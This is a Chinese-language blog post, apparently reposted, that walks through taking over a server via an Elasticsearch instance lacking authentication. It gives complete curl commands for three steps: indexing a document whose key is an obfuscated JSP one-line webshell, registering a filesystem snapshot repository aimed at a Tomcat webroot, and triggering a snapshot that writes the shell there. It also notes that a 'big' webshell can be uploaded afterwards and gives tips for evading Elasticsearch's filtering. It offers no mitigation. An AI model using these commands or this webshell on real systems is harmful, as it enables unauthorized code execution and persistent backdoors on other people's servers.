1. 程式人生 > >elasticsearch某內建功能缺陷利用可能導致getshell風險

elasticsearch某內建功能缺陷利用可能導致getshell風險

elasticsearch服務普遍存在一個未授權訪問的問題,攻擊者通常可以請求一個開放9200或9300的伺服器進行惡意攻擊。



基礎資訊:

可以檢視es節點資訊,包括安裝目錄:http://localhost:9200/_nodes

1.png



未授權訪問的elasticsearch(事實上絕大多數都沒做訪問授權)備份資料的時候存在一些小缺陷,可以用來進一步的獲取許可權。



參考es官方的索引快找和恢復文件(Snapshot And Restore):

http://www.elastic.co/guide/en/elasticsearch/reference/current/modules-snapshots.html#_snapshot

2.png



大概意思是說:

快照和恢復模組可以建立單獨的索引或整個叢集索引的快照到遠端倉庫。最初的es只提供了把資料備份到共享檔案系統,但是現在的es可以通過官方的後端外掛備份。



首先建立一份惡意的索引文件(key為jsp一句話後門):

code 區域
curl -XPOST http://localhost:9200/yz.jsp/yz.jsp/1 -d'
{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
'



檢視建立的文件: curl http://localhost:9200/yz.jsp/_search?pretty

3.png



這裡的我創把文件的index和type都設定成了yz.jsp,其中文件的key包含了一個jsp檔案。



然後建立一個惡意的儲存庫(Repositories):

code 區域
curl -XPUT 'http://localhost:9200/_snapshot/yz.jsp' -d '{
"type": "fs",
"settings": {
"location": "/Users/yz/Documents/install/apache-tomcat-7.0.57/webapps/wwwroot/",
"compress": false
}
}'



這個Repositories的路徑比較有意思,因為他可以寫到可以訪問到的任意地方,並且如果這個路徑不存在的話會自動建立。那也就是說你可以通過檔案訪問協議建立任意的資料夾。這裡我把這個路徑指向到了tomcat的web部署目錄,因為只要在這個資料夾建立目錄Tomcat就會自動建立一個新的應用(檔名為wwwroot的話創建出來的應用名稱就是wwwroot了)。



既然知道可以建立任意目錄,或許就可以想辦法寫個shell。



儲存庫驗證並建立:

code 區域
curl -XPUT "http://localhost:9200/_snapshot/yz.jsp/yz.jsp" -d '{
"indices": "yz.jsp",
"ignore_unavailable": "true",
"include_global_state": false
}'

4.png



這個時候就可以看到tomcat目錄的備份檔案已經生成了多個jsp檔案:

5.png



一句話shell在/Users/yz/Documents/install/apache-tomcat-7.0.57/webapps/wwwroot/indices/yz.jsp/snapshot-yz.jsp:

6.png



寫大馬:

7.png



這裡有2個點:

1、json不好繞過避開json應該是不可能了,所以避開雙引號比較麻煩所以這裡用了byte轉String避免出現”"。

2、如果不把compress設定成false會被es安全過濾(比如:toString、getXXX都會被過濾),繞了半天才發現設定成不壓縮就可以了......